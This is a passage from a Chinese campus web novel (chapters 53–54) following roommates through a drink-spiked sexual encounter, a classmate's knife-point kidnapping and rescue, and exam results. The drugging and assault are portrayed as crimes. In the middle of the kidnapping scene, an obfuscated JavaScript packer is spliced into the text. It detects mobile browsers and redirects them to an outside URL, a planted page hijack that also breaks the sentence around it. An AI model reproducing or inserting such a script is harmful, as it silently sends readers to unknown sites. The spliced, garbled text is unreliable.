,她两腿打颤,慢慢爬过去捡起被扔在远处的棉衣,裹在身上。 她缓慢地走回宿舍,天已经微微地亮了。若隐若现的月牙在树梢穿行,默默地看着她。眼泪涌出眼眶,重重地砸在地上。周遭舞动的黑影,像从地狱爬向人间。 叶翔和凌静宜从彼此对人对事的态度到以后如何对待朋友间的矛盾,从情侣间的信任吵到了男女平权问题,吵了个淋漓尽致。 凌静宜吵累了,径直去酒店休息,把叶翔扔在原地。 情侣之间究竟早点爆发争吵进入磨合还是前期奠定感情基础先隐藏矛盾,哪一种有利于后续情感发展,他们两个人没有定论。叶翔只知道,他像参加了一场辩论赛,筋疲力竭。 萧楠像一条被偷了家的败犬,颓废地瘫在椅子上,身上发出腐败的呕吐物气息。 叶翔深深叹气,终于忍受不了,把他推去浴室洗澡,自己回那栋曾经的名人别墅给他拿衣服。 陆亦返回别墅时,聚会早已散场,偌大的别墅里亮着灯,一个人也没有。可他心情很好,丝毫没有注意到空荡荡的别墅,散发出潮湿的伤感气息。 绮丽的迷梦总是惑人心智,醉生梦死,浮华若梦,诱人沉沦。 只是每个人对迷梦沦陷的程度不一样:有些人会在迷梦中沉迷一段时间,然后在某一个时刻幡然醒悟;而有些人在光怪陆离的梦幻中分辨不清到底是真实的美好还是迷离的泡影,越陷越深,直至没顶。 许苑薇睁开眼的瞬间,感觉自己像由生到死,再由死重新活了过来。 粉红色的床幔搭在床边上,入眼的是茫然的一片白。记忆一点点挤进她的脑袋。 昨天晚上沈彦带她去吃了一顿西餐,他们依偎在一起,在人潮拥挤的钟楼看烟花。她从没见过那么美的烟花,甜甜的起泡酒让她觉得有些昏沉沉的,沈彦又给她点一杯长岛冰茶,说让她醒醒酒。她喝了一口,感觉自己更晕了。沈彦把酒从她面前拿走,在迷迷糊糊中感觉有人重重地压在她身上,抚摸她的脸和身体,直到一阵剧痛袭来,她彻底晕了过去。 她晕乎乎地起身,发现自己未着寸缕,差点惊叫出声。慌乱中,她看见睡在旁边的沈彦。可是,她还没有从震惊中接受自己从女孩蜕变成了女人,不知道该怎么办,咬着被单哭了起来。 “傻瓜,你哭什么。”沈彦的头发乱乱的,他裸着的上半身转过来翻身抱住许苑薇。她的皮肤白皙光滑,像是一匹上好的绸缎一样。沈彦忍不住在她裸露的皮肤上咬了一口。 许苑薇像受伤的小动物一样缩了一下,沈彦斯文白净的脸上透着一丝不耐烦,“情侣间这样不是很正常的吗?你哭什么?是不想跟我在一起吗?” 许苑薇慌乱地摇摇头,“我只是……有点害怕。” 沈彦翻身起床,穿好衣服,看了一眼还窝在被子里的许苑薇,“第一次难免,以后就好了。我还有事先走了。你再多睡一会儿。” 新年的早晨,她一个人躺在一个陌生的酒店里,茫然无措。手机响起提示消费扣款的声音,她在床下面找到了手机,是酒店的刷卡短信。 许苑薇缓慢地穿好衣服,这跟她想象的跨年不一样,没有倒数,没有告白,没有甜蜜的拥抱,也没有羞涩的亲吻。她鼓足了勇气,想过沈彦吻她时她该有多紧张……可这一切都没有发生。 她给沈彦发了条微信,“我们现在算什么关系?” 酒店的走廊狭窄,大厅简陋。走到大厅时,她局促不安,仿佛整个酒店里的人都在盯着她指指点点。前台的服务员抬眼看了她一眼,她像被针扎了一下,快步走出了酒店。 身后传来询问声:“哪个房间的?退不退房?” 她内心慌乱,恍若被抓包的小偷,慌不择路跑起来,两腿间火辣辣得疼。她从哪里来?应该去到哪里? 恍惚间,她看到了回学校的那路公交车。 上车,经过司机提醒后刷卡。车厢和她的心一样,空荡荡的透着风。 她在公交车上继续茫然。 沈彦回了信息,“当然是男女朋友,小傻瓜。” 53.第 53 章 我睁开眼,心里依然冒着暖意,此刻我没有意识到,简瑞洺和我甚至连个联系方式都没留。 此时,刘小叶睁着眼睛望着天花板。她凌晨三点醒了,很难受,无论是□□还是灵魂。她又想起了昨天欧祈冷漠的眼神,两颗大如汤团的眼睛哭得又红又肿,可她怕吵醒周小西,于是蜷缩在被子里拱成一团,轻声抽噎。 外面有人推门进来,高跟鞋走在木地板上发出喀哒声。凌静宜回宿舍了。 起床洗漱。 凌静宜正襟危坐,泡了杯咖啡,搅了两下,没有喝。茶几上摊着她那本昂贵的手账本,她眉头紧锁。 “昨晚你们是吵架还是你单方面炮轰叶翔?”我趿拉着拖鞋,尽量以轻松的语气询问。 她翻了个白眼,“叶翔跟我吵个架吵出了舌战群儒的气势,果然法律专业的口条得利索。” 不是吵架吗?为什么从她的语气里听出了欣赏的意味? “我一贯欣赏有自己观点的人,你知道的。” 我打了个哈欠,“今天还去复习啊?” 她摇了摇头。压低了声音说:“没有心情。我家那一堆乱糟糟的事情,搅得脑袋疼。” “真要有个弟弟是个问题。你想过怎么办吗?” “又不是一个妈生的。当然是抗争到底,父爱也好,家产也好,最好一分一毫都不分给他。” 这是大实话。 “除了你俩,没人在宿舍吗?”她问。 我看了眼墙上的钟,十点多了。如果她们在的话,早该起床了。不过许苑薇没准一早就去复习了,小陈哥可能跑步还没回来。奇怪,郑筱昨天难道也没回宿舍吗?昨晚我和刘小叶回来时,宿舍没开灯,我以为她们都睡了。今天早上没听到动静,也许是我睡得太沉了。 “许许可能去复习了吧。小陈哥……”说起来,陈梦晓从昨晚起就没回我消息。 凌静宜翻开手账本,她烦躁地在上面画了个叉,“新年第一天计划就被打乱了!” 我探头去看她的手账本,上面密密麻麻写着一整天的任务清单,画了个红色叉的地方写着“7:30-8:30,阅读1小时”。 郑筱从房间里走出来,她的头发蓬乱地盖住脸颊。一看见我们,她立马低下头,慌忙冲进了洗手间。 新年第一天的上午,一个个都透着古怪。 凌静宜冲我们房间努努嘴,“她怎么样?” “醒了,但不愿意起来。”我压低声音说。 “叫上她一起去吃饭吧?我请客。” 刘小叶这次是真的伤心了,连最爱的美食都无法打动她。我们只能自己去了。 在去铭盛最贵的那家西餐馆的路上,我翻看手机,陈梦晓既没有回我消息,也没有回过电话。萧楠倒是发了好几条微信。 凌静宜点了一份金枪鱼沙拉,优质蛋白加蔬菜,健康得难以下咽。我毫无心理负担地点了一份牛排,售价高达两百九十八块。心里默默想,难怪吃软饭会习惯,比如我,从刚开始心怀愧疚到现在恬不知耻,有好吃的就蹭,也不过短短两个多月。 我问凌静宜干嘛吃得这么素,她解释说,最近聚会这么多吃得有点放纵,需要克制。老天证明,她这些天吃的加起来都没有我平安夜那天晚上吃得多。但我不打算跟她讨论她的饮食,就像叫不醒一个装睡的人,任何人也没法说服一个觉得自己该减肥的女性。 随后,我们讨论起欧祈和刘小叶的情况,我忍不住吐槽,欧祈的状态跟来了大姨夫一样。 凌静宜说:“我猜欧祈有了别的心思。” “不至于吧?你怎么看出来的?” “还记得圣诞节吗?那天他就不对劲。” 我恍然大悟——凌静宜那晚一反常态,对欧祈不依不饶并不是因为她喝多了,而是看出了些许端倪。 “刘小叶这个大傻瓜。” 凌静宜抿了一口红酒,然后漫无目的似的晃动酒杯。从我这儿看过去,她的眼神失去了焦点,好像回到了当时的场景。“别这么看着我,我承认,后面我是喝得有点多。可那个狗男人进来的时候我可清醒着呢。” 我没说话,等着她继续。 “你没注意他俩一起进来时的状态?” 我摇摇头,那时候我看人都重影了吧,哪里还顾得上别人。 “刘小叶一脸兴奋地揽着那狗男人进来,他呢,一副所有人欠了他八千万的样子。我的火一下就上来了……” 我很想提醒她,一般人拿不出八千万借给别人,但……还是算了。她会告诉我,那不是重点;也确实不是重点。 她慢悠悠地把酒杯放回小茶几,习惯地摩梭了下细细的杯柱底端。 “而且,你没注意到,他好像很嫌弃小叶。” “什么?”我好像进入了爱丽丝漫游的奇境中,我们用的都是中文,可我听不懂她在说什么。怎么可能呢?刘小叶明明跟我说过,欧祈和她是青梅竹马,他们是彼此的初恋,还是欧祈恬不知耻诱惑的她! “不可能吧?”我的脑袋里嗡嗡作响,如果连他们这样的感情都会改变,那么所有感情的基础是不是都摇摇欲坠,爱情是真实的存在吗? “有什么不可能的,你不会还相信这个世界上真的有永恒不变吧?” 我确实不相信永恒,可人与人之间的感情,如此经不住推敲吗? “敢不敢打个赌?”凌静宜懒洋洋地看向我,“那小子移情别恋的对象,在当天聚会的人里。” 我挨个想过去,陈梦晓——除了陆亦之外,应该没有人敢挑战高难度吧?许苑薇——他俩好像全程都没交流;李离——她一直在我身边叽叽喳喳,但好像……似乎……仿佛欧祈向她看了好几眼?可李离跟刘小叶完全不是一个类型…… 想来想去,要真说谁有这个魅力让欧祈移情别恋,除了凌静宜之外,我想不到别人。 见我疑惑地盯着她看,凌静宜给了我个白眼:“你想什么呢?!他要是对我有意思,能那么坦然地对我对视?” “他不会是……”我颤巍巍地说:“对叶翔有意思吧?” 凌静宜差点被噎着,她缓了一会儿才说:“周小西,你还是少跟刘小叶在一起,免得智商被拉低。” 她站起来,走出去几步之后,突然回过头,看向我:“你就没想过……” “什么?” “算了。”她的眼睛里闪动着意味不明的光芒,“一起去咖啡馆吗?” “不了……我准备回去写小……”最后一个字被我吞进了喉咙。 “小叶的宏观经济学作业……”我在凌静宜探寻的目光里,不经大脑思考蹦出了这么一句。 “你还帮她做作业?”凌静宜恨铁不成钢,“那你能帮她考试吗?你能帮她找工作吗?你能保证她的人生平安顺畅,无灾无痛吗?” 我诧异于凌静宜突然的愤慨,但她只是给了我一个算不上建议甚至有些无厘头的忠告:“如果你真想帮她,那就离她远一点。” 这算哪门子建议? “我们不能为别人过他们的人生,也没办法为别人买单。”凌静宜说。 凌静宜还是没去成咖啡馆,热爱赚钱的咖啡馆老板娘今天居然挂牌歇业。 回宿舍后,我习惯性打开电脑,邮箱显示有一封未读邮件。我下意识点开了。一个噩耗冲淡了绮丽的色彩:Jessie回了我邮件,要求我必须在下一个出刊日前交新文章。她义正言辞地在邮件里教训我:“陆星洺先生,你知道什么叫专栏吗?你可以写番外或者创作心得。我们需要缓冲时间。另外,你不考虑写长篇小说吗?”我觉得自己上了贼船。 看了一眼邮件时间,凌晨3点45分发出。Jessica太可怕了。我烦躁地想注销自己的邮箱地址。 现实比创造更疯癫。 新年的第一天就给了我一次重击。我想回到两分钟之前,制止自己点击邮箱。 刘小叶顶着两颗核桃眼,我问她要不要给她买点吃的。她摇摇头,说自己吃不下。 许苑薇回来了,一副神不守舍的样子。 我本想问她发生了什么,凌静宜给我递了个眼色。“好歹是元旦,我们去喝下午茶吧。大家一起去,我请客。” “我打电话问问小陈哥什么时候回来。”电话是通的,但无人接听。 一开始,我们没有当回事,可半个小时过去了,她仍然没接电话。有些不太对劲,小陈哥从来不会无缘无故玩消失,她也没出现过微信不回电话不接的情况。 刘小叶迷迷瞪瞪地说:“找不到她吗?她跟陆亦在一起吧。” ???有没有人告诉这是个什么情况? 我跟凌静宜对视了一眼,从彼此眼里看到了怀疑和不可置信。 “你是不是还没睡醒?”我问刘小叶。 “小西,你没看到吗?小陈哥跟陆亦在小花园里,我们当时是在出租车上吧?司机挺帅的。” 我的脑海里浮现出昨晚看到的背影,“你是说,那个穿红裙子的大长腿是小陈哥?!” !!!一颗陨石以十万光年的速度从虚无中猛烈撞向我。 “不是很明显吗?”刘小叶接受能力远高于我。 凌静宜二话不说,掏出电话打给叶翔,“你那个狗兄弟的电话多少?” 叶翔此刻正在办公室复盘昨天的争吵。他睡不着,早起去了公司,企图用工作分散注意力,以失败告终。凌静宜吵架后一直没理他。 他接到电话先是开心,然后垮脸,“萧楠?” “不。另一个。” 陆亦接到电话时,还沉浸在前一晚的快乐中。 “陈梦晓跟你在一起吗?” 陆亦愣住了,“她不是昨晚就回宿舍了吗?” 他说他把陈梦晓送到了学校,陪着她一直走到图书馆。他本想送她到宿舍楼下,可陈梦晓没同意,说太显眼了。 我们面面相觑。也就是说,小陈哥在学校里失踪了!! “报警吧?”我忐忑不安,右眼皮狂跳。 “警察不会管的,人口失踪要48小时才会立案。”凌静宜十分冷静。“现在已知最后见到陈梦晓的人是陆亦,他说跟陈梦晓大概九点多在图书馆前分开,那个时间应该有人见过她。” “可是学校那么大,我们怎么能找到见过她的人?”刘小叶问。 我们分头行动:图书馆那片区域应该有监控,凌静宜去找保卫科要求调取监控;我去BBS上发帖呼吁见过陈梦晓的女生跟我们联系。刘小叶已经从失望中缓过神来,她说她跟凌静宜去保卫科。许苑薇整天都像丢了魂一样,指望不上她;郑筱一直在房间里没出来,也指望不上。 保卫科只有一个人值班,原本不同意我们查监控,大费了一番周折,最后让我们看了图书馆正对东门那条路上9点到10点的监控。可惜一无所获。反倒是BBS上有人回帖,说在人工湖附近见过陈梦晓。 我们赶忙约了回帖的人,是个英文系的女生。她对陈梦晓印象深刻,中性面孔,冷艳的气质,高挑的身材。她有点不好意思,说虽然只是擦身而过,可两个美女的视觉冲击强烈,她跟朋友频频回头观望,不会认错。 凌静宜问:“两个美女?另外那个女生还记得长什么样吗?” 跟她一起来的另外那个女生狐疑地盯着我,“昨晚不就是你跟她在一起吗?” 我愕然。 刘小叶说:“你们不会认错人了吧?” 那个女生撇撇嘴,“美得这么明显,很难认错吧!” 凌静宜和刘小叶看向我,“你梦游吗?” 整件事情更扑朔迷离。好不容易找到的线索又断了。 …… 陈梦晓醒过来时,嘴巴发干。床头放着一杯橙汁。她想也没想,抓起橙汁喝了。 等等!她突然意识到,自己不在宿舍里。 她的脑袋发懵,随即慢慢想起,昨天陆亦送她回学校,她在人工湖碰到周小西,她亲昵地勾住她的胳膊,说自己刚回来,这没想到这么巧;还说自己发现了一条回宿舍的近路,结果他俩迷路了,绕了半个小时都没走到宿舍。远远看见宿舍时,陈梦晓抱怨说以后别走莫名其妙的小路了,突然眼前一黑。 “你醒了,昨晚睡得好吗?”走进来一个陈梦晓很熟悉的人。 “小西,我们在哪儿?” 说话人一顿,继续走向陈梦晓,“好久不见。” 陈梦晓就算神经再大条,也知道这个看上去像周小西的女生不是周小西。 “你不是周小西。你是谁?!” “你想知道我是谁吗?”女生走到她面前。陈梦晓仔细看了她半天,鼻子没有周小西的鼻子挺,眼睛比周小西圆润,整体像了百分之七八十,“猜猜看,猜中有奖励。” 陈梦晓觉得惊悚,她不是碰见什么不干净的东西了吧。 冒牌周小西笑起来,“给你一点提示:我很喜欢你。”接着动手解自己的衣服。 陈梦晓惊慌失措,手忙脚乱地阻止,声音发颤,“冷静!喜欢就喜欢,脱衣服干嘛?!” 她的手刚碰到对方的手背,就被她一个用力拉到了胸前。她抓着陈梦晓的手放在自己胸脯上,挑衅一般盯着陈梦晓的眼睛,“想起来了吗?” 陈梦晓使劲挣扎,她的力气在女生里并不算小,可怎么都挣不开那只绵软的小手。她浑身发软,身体无力,一点反抗的力气都没有。对方的心跳像跳跃的小鸟,随着她的挣扎轻轻啄着她的掌心。她像手里握了一块烙铁,拼命想甩开,失声尖叫:“我不喜欢女的。我真的不喜欢女的!” “是吗?!那周小西呢?” 陈梦晓咬紧了牙关,“这跟她没关系。” “你不是喜欢这张脸吗?我现在跟她长得一样了。” 陈梦晓本能反驳,“你不是她!你到底是谁?” “时间到!你真的一点都想不起我是谁吗?”她突然摸一把匕首,抵住陈梦晓的脸颊,眼神里流露出痴迷的神情,“你不喜欢我没关系,只要我喜欢你就行了。” 她的衣襟敞着,紧紧地抱住陈梦晓,用身体不断磨蹭着她,在她耳边不断发出呢喃:“喜欢吗?你喜欢吗?” 陈梦晓觉得恶心,她不断往后退,直到后背抵住墙壁,无路可退。 对方踮起脚要亲陈梦晓,她偏过头,用尽最后一丝力气推开她,“你不要这样,我说了,我不喜欢女的!” 陈梦晓不知道她可以这么厌恶一个人,她也不明白这个女生怎么回事。她不应该认识这种脑子不正常的啊! “你不喜欢女的?!那周小西是什么?男人还是人妖?” 陈梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069087|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓脱口而出,“我跟陆亦在谈恋爱,周小西只是我室友。” 洛子溪更加愤怒,“你以前可不是这么说的!为什么他们都可以,就我不行?男人有什么好的,都是些下三滥的玩意儿。我得不到的,别人凭什么能得到?” 陈梦晓脸都白了,说:“你想干什么?” 她露出诡异的笑容,“你猜,她们现在有没有发现你不见了,满世界找你呢?我想,我要给她们一点线索。至于你,待在这里好好想想我是谁。” “你有病吧?放我出去。”陈梦晓大声喊叫,她的声音在偌大的空间回荡。这里像一个废旧的仓库。 她笑得人畜无害,“等你想明白了,做出正确的决定,我会放你出去的。” “你这是犯法的。” 她头也不回地走了,啪嗒把灯关了,把陈梦晓留在了一片黑暗当中。 …… 我醒过来时,眼前一片漆黑,感觉自己的后脖颈疼得厉害。 渐渐适应了黑暗之后,我才发现面前有一个人,她蹲在我面前,紧紧盯着我,“怎么就不能改得一模一样呢?” 吓得我大叫出声,灯亮了。陡然见到一张跟自己七分相似的面孔,毛骨悚然。 这是一个地下室,我看见一截长楼梯通向一扇铁门。 “陈梦晓不就是喜欢你这张脸吗?你觉得,如果我划花你这张脸,她还会不会喜欢你?”她不知道从哪儿摸出了一把雕刻用的小刀,把刀面贴在我脸上,冰凉凉的触感让我的汗毛直立。 跟我相似度很高的那张脸上露出残忍嗜血的表情,“你不能再用这张脸了。” 我心里很害怕,面上却装得很淡定,“你说男的只看脸,大体是没错的;原来陈梦晓在你心目中,也是这么肤浅。你以为她是喜欢我这张脸吗?” “不然呢?”她突然暴躁起来。 “不如你问问她。” 我在这一刻笃定,陈梦晓肯定是她绑的,除了她,我们这种一穷二白的女学生,没有绑架的价值。 她愤恨地推了我一把,“问就问!” “你就是个疯子!神经病!变态!”陈梦晓一路骂着被她推了进来。 她把陈梦晓推到我旁边,气鼓鼓地举起了刀。“你不是喜欢她吗?那我倒要看看,划花她这张脸之后,你还喜不喜欢她!” “说多少遍你才懂!我真不喜欢女的。跟她长什么样没关系!就算你顶着她那张脸也没用,你省省吧!” 我脑子里突然闪过那个在平安夜那个在我们宿舍门口的小棕熊,“洛子溪可不是省油的灯。” 她的鼻子翕动,狠狠剜了我一眼。电光火石间,霹雳洋娃娃的样子在我脑海里浮现。眼下她的外表浓艳稠丽,跟原先洋娃娃的模样完全不一样了,我为她感觉可惜。 “你是洛子溪!” “欸?认出来了?”她笑了,露出两颗小兔牙,看上去人畜无害。 陈梦晓骇然,“居然是你!” 洛子溪露出失望的表情,“没想到,居然是她认出我!” “你放了我们,我们当没事发生。”陈梦晓说。 “我再问你一遍,你选我还是选她?”洛子溪眼睛里有一种我看不懂的东西。 “选什么选,我都不选!” “那你们都去死吧。”她扬起手里的刀。 我闭上了眼睛。我捏紧了口袋里的追踪器,凌静宜怎么还没有到?!完蛋了! 陈梦晓大喊:“杀人要坐牢的,为了我值得吗?” “值得不值得,不是你说了算!”洛子溪吼道,还是那个霹雳洋娃娃。 突然,洛子溪一声尖叫。我睁开眼,她被撞倒在地, “还好赶上了。”凌静宜呼出一口气,她冲到我身边,扶住我,“你没事儿吧?” 我摇摇头。 “你们怎么能找到这里?”洛子溪不可置信。 凌静宜掏出手机,上面的红点晃动,停在附近,“要不是这破地方信号差,我们早就找到你了。” 我冲着她笑,“我们身上都带着追踪器。” 陆亦把陈梦晓拉到身边,检查她有没有受伤。 “你们设计我。”洛子溪歇斯底里地吼叫。 “自己蠢,怪不了别人。”凌静宜轻蔑地看了她一眼,“怎么着?还想着李代桃僵,可你画虎不成反类犬。要找也找个好点的机构,现在这么张脸,说像吧,是像的,可惜神韵和精髓都没复刻到位。东施效颦。” 洛子溪恨恨地望着我们,突然笑了,“就算你们找到了人又怎么样?你们有什么证据证明是我绑架她们?我也是受害者!” “就凭你的口供。”凌静宜一脸无辜地看向我,“小西,该录的都录了吧?” “放心。”我从口袋里摸出一只子弹头模样的口红,“都在这呢。” “你们两个贱人!”洛子溪抓起掉在身边的小刀,向我们冲过来。 警察破门而入,一个高个警察飞起一脚,把她踢倒在地;她奋起反抗,挥着刀子乱劈乱砍,警察一把夺下她的刀子,将她按在地上拷上手铐,“居然还袭警!老实点!带走。” “警察叔叔,她太坏了!把她抓起来!”刘小叶跟在后面冲了进来,目睹了洛子溪的凶悍,缩在后面叫嚷。 “你们这些孩子,胆子也太大了。对方有刀,还好没有人受伤。” 警察押着她出去,她凶狠地瞪着我们,直到离开我们的视线。 刘小叶心有余悸,“谁能想到她那么小小的一个女生,这么丧心病狂。” “她真是个疯子!”凌静宜打了个寒颤。 陈梦晓稍稍恢复了点力气,“何止是疯子,就是个变态!她这种情况,能判多久?” “最好判她终身监禁,别放她出来了!”刘小叶义愤填膺。 “那你们可能要失望了。”叶翔从外面走进来,“非法禁锢加重情节,外加猥亵,数罪并罚,三年以上十年以下。找个好律师,争取给她判个七八年吧。” “你怎么来了?”凌静宜问。 “这么大的事,我能不来吗!要不是陆亦机灵给我打电话,我都不知道你们遇险。”叶翔抱怨道。 “可你也没派上什么用处。人都被抓了才到!”刘小叶吐槽。 “路上太堵了……”叶翔讪讪,他往凌静宜身边凑。 “离我远点!”凌静宜白了他一眼,“我还没原谅你呢!” 刘小叶看看叶翔,又看看凌静宜,没说话。但她的神情很明显,“他俩是真的在谈恋爱吧!” 筋疲力竭,我们一起去大吃了一顿。刘小叶说她饿了一天,想吃烤肉。 “那个女的是魔怔了吧,为了小陈哥,把自己折腾进了监狱。”刘小叶很不能理解。 爱情真可怕,不仅让人伤心,还让人疯狂。 我们新的一年以一场绑架开局,真是惊心动魄。 躺在床上,一个问题始终萦绕在脑海里:不知道她洛子溪什么时候开始谋划,有没有同伙。突然,我想起那个带我到仓库附近的女生:她傍晚时分偷偷摸摸找到我,说她在BBS看见我的寻人贴,她今天下午见过陈梦晓。当时,我单独一个人。时间很紧急,我跟着她一路到了仓库,拐了个弯,我被人打晕了。 新年代表着新希望,我却觉得不寒而栗。 54.第 54 章 不管悲伤还是欢乐,都无法阻止期末考试像历史的巨轮一样从我们身上碾压过去。 历时两周的考试周,像极了钝刀子割肉。考完一门之后,间隔一两天考另一门,很难集中精神复习。虽说两周,其实我们国贸系的考试在14号上午全部结束了,金融系比我们更惨,考试排得又紧又密,她们甚至比我们还早一天考完。 在我们埋头复习的时候,有些学院已经考完试了,金融系和国贸系都属于考试时间偏晚的院系。在我们考试的最后几天,几乎每天能看到拖着箱子往校园门口走的学生,这两天校门口的出租车数量史无前例达到了新高。 作为一群毫无经验的新手,我们都没提前买票的意识。可最后悲剧的只有我一个人。 还在学校的学生们花钱大手大脚,每个人都想把自己手里剩下的那点生活费全部花完。到了期末,本学期预算清零,下学期重新开始。我前所未有的富有。首先爸妈给了我不菲的生活费,其次我还有丰厚的稿费。与之相对应,我的支出十分有限。巨大的收支差造就了我有一笔对普通学生来说堪称巨额的存款。谁能想到,我靠上大学完成了第一桶金的原始积累。 凌静宜这两周都没有去约会,考试对她来说是小菜一碟,工作显然就没那么轻松了。Monster Cone的项目开始招投标了,她需要频繁去跟对方开会了解需求,并优化方案。因为考试安排,她提前将自己可以跟对方开会的时间拉了张表,尽量把所有事前能搞定的工作都压缩做完。 所幸,招投标时间定在15号,她舒了一口气。她打定主意,如果拿下这单生意,她要再招聘两个员工。Jacob目前配合她做投标文件,每天他们通过电话讨论工作的时间超过三小时。 我们眼下仍是乖乖牌,考完试也不敢早走,等着学校放假。不过,考完试就彻底放松了,接下来的一周,我和刘小叶天天睡到日上三竿。 成绩出来的那天,刘小叶破天荒地一早就醒了。我们四目相接,她大喊了一声,“完蛋了,完蛋了!如果要补考怎么办?”完全没有考试前还挤出时间看漫画的洒脱肆意。 本来让她用我的电脑在宿舍里查,居然登录不了学校的教务系统。看了BBS才知道,教务系统由于查询人数过多崩溃了。刘小叶心急如焚,说宿舍网络不行,得去机房查询。我想着寒假在家无事可干,不如借几本书带回去,就跟她一起去了图书馆。铭盛的图书馆是个宝藏,图书又新又全,我简直不敢想象能在这里看到吉朴林的《丛林之书》和《跳房子》。 刘小叶不肯自己去机房,跟在我身边忐忑不安,非陪我借完书一起去查成绩。 不知道是不是整个铭盛的学生都跑来机房了,我们好不容易才等到一台机器。刘小叶两手冒汗,坐立不安,好像机房的椅子上长满了钉子。就输学号的那一会儿功夫,她又是想上厕所,又是捏我的手,恨不得变成一道电波直接穿进电脑读取考试成绩。真不可思议,我这辈子居然还能看到刘小叶如此惊慌失措的模样。 她颤巍巍地抖着手输入了一串数字,然后火速用双手捂住了眼睛。 “你闭着眼睛怎么看成绩?” 我无奈地一根根掰开她地手指,她的视线直接落在屏幕上,突然转头看我,表情特别古怪,她摇我的肩膀,“啊啊啊……你个家伙!你居然每门课都90分以上!是我们班第一名哎!” 只要不是关键性的大考,我还是能够考得不错的。有一说一,上了大学之后,大家是有多么不努力?按照我的努力程度,排名在中间段才是正常的吧?! “你查我成绩那么紧张干嘛?”我刚问完,又一个问题冒了出来,“你还能记住我的学号?” 她笑得嘴巴都快咧到耳朵了,像她考了第一名一样,“那当然!你的学号跟我才差3位。” “那你呢?”我翻着手里的《金阁寺》,很淡定地问。 “我靠!”她更紧张了,我怀疑她会抽搐着晕死在电脑屏幕上, “你要是不看,我就帮你看了。”我刺激她,“然后依次把每门课的成绩报给你。” “别别别,我自己看。”她如同慷慨就义一般悲壮,一个数字一个数字把自己的学号敲进了登陆界面,然后死死地盯着屏幕,好像学校电脑欠了她好几百万一样。在数字弹出来的一瞬间,她迅速闭上了眼睛,问:“是红色的还是黑色的?” “当然是黑色。”我翻了个白眼,学校才没那么无聊,还用颜色区分及格与否。 “全都是黑色吗?” “对!”我扫了一眼,这家伙虽然分数不高,可是全都及格了,没有挂科。而且她的班级排名十九,不算太靠后。 她睁开了眼睛,来来回回瞄了好几遍,开心地笑了,“小西,小西,我真的一门都没挂!圣母玛利亚,耶稣、观世音菩萨、如来佛祖……谢谢你们!” 刘小叶果然是个神棍! “你该感谢的不应该是带你复习的人吗?” 刘小叶贴了上来,一脸讨好,“谢谢小西!我请你吃肯德基!” 得了,我就值一顿肯德基。 自从查了成绩后,刘小叶保持眉飞色舞,恨不得见到条狗都问查没查成绩。我真害怕她被群殴。 金融系期末成绩还没出,刘小叶表示不用担心凌静宜她们。她觉得像凌静宜那种变态学习狂人,哪一天被人挤下第一的宝座,才是值得宣扬的大事件;至于许苑薇,几次月考也都名列前茅,加上复习时的劲头,刘小叶想跟我打赌期末考试,许苑薇会不会超过凌静宜成为第一名。 结果18号出成绩那天,天崩地裂,许苑薇考砸了!她的眼泪快赶上天平洋了,尽管没有挂科,可名次滑出了年级前十。这无疑是个晴天霹雳,许苑薇是万年老二,只不过因为凌静宜太强(凌静宜这个变态的存在,我们默认排名不考虑她才是最合适的),跟第三名相比,她每次考试都保持总分高出将近二十分的巨大优势。现在不仅被第三名反超,而且拉开的分数还不小。 在宿舍里萎靡了整整一天之后,许苑薇不见了踪影。接连几天没跟我们一起去吃饭,问郑筱才知道她拖着行李回家了。 人跟人之间的差距,可能大过物种间的差距。 有些人把成绩看得十分重要,比如许苑薇;而有些人,考试成绩并不是最值得关注的,比如凌静宜。她把学号扔给了我,让我帮忙查成绩,因为她公司中了标,眼下她忙着为新项目招徕设计人员。 她的原话是:不是第一名不用告诉我具体分数。 刘小叶咬牙切齿,“听听,她说的是人话吗?有些人求神拜佛求不挂科,有些人不拿第一连多少分都不想知道!” 毫无悬念,凌静宜是金融系的第一名,刘小叶读着她的成绩:微积分100分,英语100分,微观经济学99分,货币银行学99分……她转过头跟我说:“她真的是个人吗?连马哲这种课都98分。” 对于这一点,我倒是能理解刘小叶的强烈不满源于什么。尽管我们都知道,凌静宜的智商能碾压我们。碾压就碾压吧,还非得体现在量化数据上,的确让人很不爽。 所有学科的老师,理所当然喜欢像凌静宜这样的学生。从来不缺席任何一节课,线下向老师请教的问题是经过思考之后有意义的问题。再看看另外那些考不及格的,都是什么玩意儿。同样读了九年书考进来的学生,差别怎么这么大呢?就算有半衰期,可这才第一个学期,半衰期未免也来得太快了点。 刘小叶要求考第一的人必须请客,凌静宜无所谓地耸耸肩,“这都是小事情,只要你能给我搞定一个懂结构学的设计。” 别说刘小叶,我都懵了。 “有谁能告诉我,那是个什么东西?”刘小叶问。 “那不是个东西……”她的烦躁情绪已经体现在日常的言语上了,“我只不过是要一个懂结构的设计,怎么会这么困难?” 我瞄了一眼凌静宜,实话实说,“别骗人了。你要的设计不仅仅要懂结构,还要懂光线、 你恨不得他能准确预报明天上午十点三分零二十一秒的天气情况和空气湿度。By the way,真的有这样的人,请一定介绍给我认识。” 《白天的房子,夜晚的房子》摊在膝盖上,我懒懒地翻看着关于圣女的章节,这本书真有意思。我把奥尔加加入了我喜爱的作者清单。 “如果你能给我一个完美的设计同学,那请你畅所欲言。否则,闭嘴!” 鉴于她的吹毛求疵,我们一致认为那个人眼下以一颗卵子的形态存在于某个不具名的女性身体里。 “所以你要那么个人干什么?”陈梦晓问。 “该死的客户要求我提交一份设计报告,需要结合结构学来谈我们的设计理念和项目的契合度。拜托,我的公司只负责给他们提供平面设计,简直离谱。” 面对她如同天书一样的解释,我们很明智地选择了闭嘴。 此刻,凌静宜嘴里那个该死的客户正对着窗口发呆。陈东尔仍然不能相信,凌静宜真的跟叶翔在一起了。 Monster Cone和F.K.O design的第一期合作堪称完美,F.K.O提供的设计无可指摘,水准极高,对他们的要求把握准确。 凌静宜有天然自生的快速理解能力,她还拥有极佳的审美志趣。她公司提供的设计只需要修改两三次就能达到标准,甚至超出预期。Monster 